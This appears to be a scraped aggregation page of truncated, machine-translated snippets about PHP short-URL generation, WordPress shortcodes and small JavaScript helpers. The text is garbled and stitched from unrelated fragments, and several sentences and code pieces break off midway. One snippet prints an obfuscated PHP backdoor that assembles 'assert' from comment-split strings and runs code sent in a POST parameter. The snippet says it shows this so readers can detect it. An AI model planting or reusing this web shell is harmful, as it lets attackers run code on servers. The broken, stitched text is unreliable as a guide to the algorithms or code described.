WordPress in the Shortcode Short code function of the use of detailed, Wordpressshortcode
WordPress starting from the 2.5 version, the addition of a shortcode (short code) API, similar to the BBCode on BBS, Shortcode can also be very convenient for the article or page to add functionality, and shortcode than BBCode mo
In fact, the implementation of the short code is very simple, we only need to use a function in WordPress can be used to deal with short code, plus a small function of their own, you can make the short code to achieve easy plus ha
PHP generates short URLs
Principle:
1. CRC32 Check the original URL, get the check code.
2. Use sprintf ('%u ') officer to convert to unsigned digits.
3. For the unsigned number of the remainder 62 operation (uppercase and lowercase letters + numbers equal to 62 bits), to obtain a remnant after mapping to 62 characters, the mapped characters are saved. (for example, the remainder is 10, the mapped chara
PHP implements a short URL algorithm that theoretically supports 1,073,741,824 short URLs.Each URL is replaced by 6 characters, and (6^32) can have a maximum of 1,073,741,824 short URLs.Of course, you can also record more detailed information such as access history, creation time, etc.If it is not enough, it can also be deleted for a long time.functionShorturl ($
The following code is inserted into the function.php to enable the login user to view the article content, insert [members_only] [/menmbers_only] where each article needs to be viewed by the user.
But I use foogallery in the article after the short code, Foogallery can not display normally, ask how to solve?[Members_only][Foogallery id= "141"] article published
The original URL to do CRC32 check, get the check code, using sprintf officers transferred Guevara check code into unsigned numbers, detailed steps please see this articlePHP generated Short URL principle: 1. The original URL do crc32 check, get the check code. 2. Use sprintf ('%u ') officers transferred Guevara
Php generates short URLsPrinciple:1. Perform crc32 verification on the original website to obtain the verification code.2. Use sprintf ('% U') to convert the verification code to an unsigned number.3. Perform the remainder 62 operation on the unsigned number (uppercase and lowercase letters + digits are equal to 62 digits). After the remainder is obtained, it is
PHP generates three types of code instances for short URLs, and php generates three types of instances.
The short URL service may be no longer unfamiliar to many of my friends. Now, there are many application modes in most Weibo, mobile phone email reminders and other places, and they occupy a certain market. It is estimated that many of our friends are using the
Open-source: the enterprise management information system is completely DIY, short and fast, and the. NET source code is widely released.
Author: Yangtze River Tributary
Key words: MIS, enterprise management information system, management system, management software, secondary development, rapid development, documents, MiddlewareDate: 2006-03-12Download source code
PHP short URL Super simple code
System environment:
Php,apache2,linux
To generate the PHP short URL operation:
Copy the code to index.php in a two-level directory with only 1 characters (such as U) as the folder name.
To add write permissions for this directory, the diagram chmod 777 U (root directory also line, in or
Generate short URL implementation program code in php. To generate a short URL, we can directly use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection directly, we can use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection di
Taking the short joke of hilarious net as an example, we can extract the source code of the webpage by requests method, and then get the related short joke through regular matching.The first step, get the Web source, using the requests get method, it should be noted that the page default encoding is Utf-8, we need to specify the encoding format for utf-8, in orde
I am currently a acmer, the direction of web development, while Python,php,golang,js and other languages have been covered.
Because of the early contact with Python. Deeply influenced by the python take doctrine. Many small projects are written, but almost every project references many open source projects, and the code length is extremely short.
such as a recent management system. The entire foreground h
This article will introduce a very short code, but also a very covert backdoor Trojan, so that everyone in the detection program can avoid being hung Trojan.
The contents of the file are as follows:
$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
A lot of comments
The php version of Weibo short link algorithm implements code. Idea: 1) generate a 32-bit signature string for the long URL md5, which is divided into four sections, each of which is 8 bytes; 2) process these four sections cyclically and take 8 bytes, think of it as a hex string and 0x3fffffff (30 bits 1) and an operation, that is beyond the thinking:
1) generate a 32-bit signature string for the long URL m
The short website is now used more and more jump websites will be generated, like the original Weibo also has this function, I would like to recommend you a PHP URL shortening code
Each URL is replaced by 6 characters, and (32 ^ 6) can have up to 1,073,741,824 short URLs. Of course, you can also record more detailed information, such as access records and creatio
To generate a short URL in PHP, we can use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection directly. the specific instance code
To generate a short URL in PHP, we can use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection
, Len = format.length, F;
for (i; i
How to use:The following call returns false because November does not have 31 daysisvaliddate (' dd-mm-yyyy ', ' 31/11/2012 ')
2. Gets the maximum width or height of a group of elementsThe following function is useful for developers who need to perform dynamic typesetting.
var getmaxheight = function ($elms) {
var maxheight = 0;
$elms. Each (the function () {
//In some cases your may want to use Outerheight () instead
var height = $ (this)
Help! Who can give a short and long URL to each other to transfer the code or RELATED LINKS ~ ~
Ask the great God to give a code or link to the length of the URL
It's going to be written in PHP.
Do not use the database
Similar functions encrypt the mutual transfer of
First of all, thank you, big God. ^ ^
length URL
The length of the Web site
Share to:
-
This article describes how to call Sina API to obtain short URLs. In this example, we will introduce how to use JQuery and Ajax. For more information, see
The Code is as follows:
Get Sina short URL
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.